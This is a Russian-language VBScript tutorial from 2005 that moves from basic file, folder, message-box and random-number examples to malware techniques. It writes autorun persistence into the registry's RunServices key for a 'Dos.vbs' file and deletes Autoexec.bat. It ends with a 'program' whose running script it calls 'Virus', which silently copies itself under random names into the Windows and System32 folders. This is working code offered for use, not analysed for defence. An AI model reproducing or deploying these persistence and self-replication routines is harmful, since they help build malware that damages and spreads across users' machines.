Дата публикации статьи: 24.12.2005 21:42

Visual Basic Script глазами не "Web" программирования

Начинаем с создания и удаления без этого не может ни одна прога

On Error Resume Next 'Эта строка выключит все непредвиденные ошибки и продолжит выполнение .vbs.
Set FileSystemObject = CreateObject("scripting.filesystemobject")   'Вместо FileSystemObject можно ставить все что угодно на пример Yo.
FileSystemObject.DeleteFile "C:\10\Autoexec.bat" , True     ' Это удалит любой файл в данном случае"C:\10\Autoexec.bat" .
FileSystemObject.DeleteFolder "C:\10" , True   'Это удалит любую папку с файлами в данном случае "C:\10".
FileSystemObject.CreateTextFile "C:\10\112.exe" ,True                  'Это создает файл с любым расширением и местом расположения.
FileSystemObject.CreateFolder "C:\Новая папка" 'Создание папки.

Далее редактирование файлов

Set FileSystemObject=createobject("scripting.filesystemobject") 'Наделяем переменную FileSystemObject силой изменять, удалять, создавать и т.д. файлы.
Set Men = FileSystemObject.OpenTextFile("C:\10\CS.cfg", 8, True)'Создадим и откроем CS.cfg для записи в него.
Men.WriteLine ("Yo") 'Записываем строку Yo.
Men.WriteLine ("Men") 'Записываем строку Men.
Men.Close 'Закрываем его.

Сообщения

MsgBox "Yo Men!" 'Самый простой способ выдать сообщение.
MsgBox "Удалить ?", vbYesNo 'Выводит сообщение с выбором "Да" или "Нет".
'Условия If...   end if.
Dim a,b,c                                                                                              'Объявление переменных a,b,c.
a=2 'Значение переменных.
b=3                                                                                                      'Значение переменных.
c=5 'Значение переменных.
if a+b=c  Then 'Если a+b=c то.
MsgBox "a+b=5" 'выводим сообщение.
end if 'Объязательно end if в конце условия.
'Знаки "&&".
Dim a,b,c 'Объявление переменных a,b,c.
a="Yo"                                                                                                'Значение переменных.
b="Men!"                                                                                            'Значение переменных.
c=a+b ' c=Yo+Men!.
MsgBox ""&c&"" ' "&c&"=YoMen.

Программка по пройденному материалу что-то типа лабораторки.

Dim FileSystemObject, Text, FolderName, FileName                                                            'Объявление переменных.
Set FileSystemObject = CreateObject("Scripting.FileSystemObject")                              'Наделяем переменную FileSystemObject силой.
FolderName = InputBox("Имя папки?")                                                                            'Запрос имени папки.
FileName = InputBox("Имя файла для создания?") 'Запрос имени файла.
Set Fldr = FileSystemObject.CreateFolder ("c:\" & FolderName) 'Создаем папку где FolderName имя введенное в запросе.
MsgBox "Создана папка: " & FolderName 'Сообщение где FolderName имя введенное в запросе.
Set Text = FileSystemObject.CreateTextFile ("c:\" & FolderName & "\" & FileName)      Создаем файл в созданной папке где FileName имя введенное в запросе
MsgBox "Создан файл: " & FileName 'Сообщение где FileName имя введенное в запросе.
Text.Write "Yo Men!" 'Записываем в созданный файл строку Yo Men!
Text.Close 'Закрываем файл.
If MsgBox("Удалить папку?", vbYesNo) = vbYes Then FileSystemObject.DeleteFolder "c:\" & FolderName, True
'Последнюю строку переведу дословно начиная с If :  если сообщение Удалить папку? с вариантами ответов да и нет будет нажата кнопка да тогда удалится папка  FolderName введенноя в запросе!
Рандомные числа.
Set FileSystemObject = CreateObject("scripting.filesystemobject") 'Наделяем переменную FileSystemObject силой.
Randomize                                                                                            'Включаем генератор случайных чисел.
Dim random 'Объявляем паременную random(можно люое слово).
random=Int((RND*50)+1) 'Где Int-целое число RND-случайныйвыбор числа в данном случае из 50.
FileSystemObject.CreateFolder "C:\"&random&"" 'Что бы показать как работает RND создаем папку со случайным числом.

Запуск файла

set WshShell = WScript.CreateObject("WScript.Shell") 'Наделяем переменную WshShell силой.
WshShell.Run "C:\Windows\Explorer.exe" 'Запускаем файл
Рестр.
Dim WshShell                                                                                        'Объявляем паременную WshShell(можно люое слово).
Set WshShell = WScript.CreateObject("WScript.Shell") 'Наделяем переменную WshShell силой править рестр .
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Rundll", "C:\Windows\Dos.vbs"

Записываем в авто-загрузку файл C:\Windows\Dos.vbs

WshShell.RegDelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Rundll"
'Удаляем C:\Windows\Dos.vbs из авто-загрузки.
Программка.
On Error Resume Next 'Эта строка выключит все непредвиденные ошибки и продолжит выполнение .vbs.

Set FSO = CreateObject("Scripting.FileSystemObject")                'Наделяем переменную FSO силой.
Set dirwin = FSO.GetSpecialFolder(0) 'Приравниваем dirwin к папке Windows на каком бы диске она не находилась.
Set dirsystem = FSO.GetSpecialFolder(1) 'Приравниваем dirsystem к папке Windows\System32 на каком бы диске она не находилась.
Set Virus = FSO.GetFile(WScript.ScriptFullName) 'Теперь "Virus" это имя файла, в котором находимся сейчас.
Randomize 'Включаем генератор случайных чисел.
number1=Int((1000*RND)+1) 'Приравниваем number1 к случайному числу от 1 до 1000.
number2=Int((1000*RND)+1)                                                      'Приравниваем number2 к случайному числу от 1 до 1000.
file1="\"&number1&".vbs" 'Получаем имя файла с маской 0000.vbs где 0000-случайное число.
file2="\"&number2&".vbs" 'Получаем имя файла с маской 0000.vbs где 0000-случайное число.
Virus.Copy(dirsystem&file1)                                                         'Копируем себя в Windows\System32 с именем 0000.vbs где 0000-случайное число.
Virus.Copy(dirwin&file2)                                                               'Копируем себя в Windows с именем 0000.vbs где 0000-случайное число.

 Предупреждение! Будьте очень осторожны !


Автор: dosermen@yandex.ru